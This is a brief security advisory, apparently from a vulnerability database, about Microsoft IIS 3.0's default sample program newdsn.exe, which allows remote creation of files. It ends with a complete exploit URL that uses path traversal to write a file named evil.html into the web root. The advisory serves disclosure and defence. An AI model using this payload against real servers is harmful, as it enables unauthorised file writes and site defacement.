source: http://www.securityfocus.com/bid/1818/info

Microsoft IIS 3.0 came with a sample program, newdsn.exe, installed by default in the directory wwwroot/scripts/tools/. Execution of this program with a properly submitted URL could allow for remote file creation. The file created is a Microsoft Access Database, but can have any extension, including .html.

http://vulnerable.site.comtools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB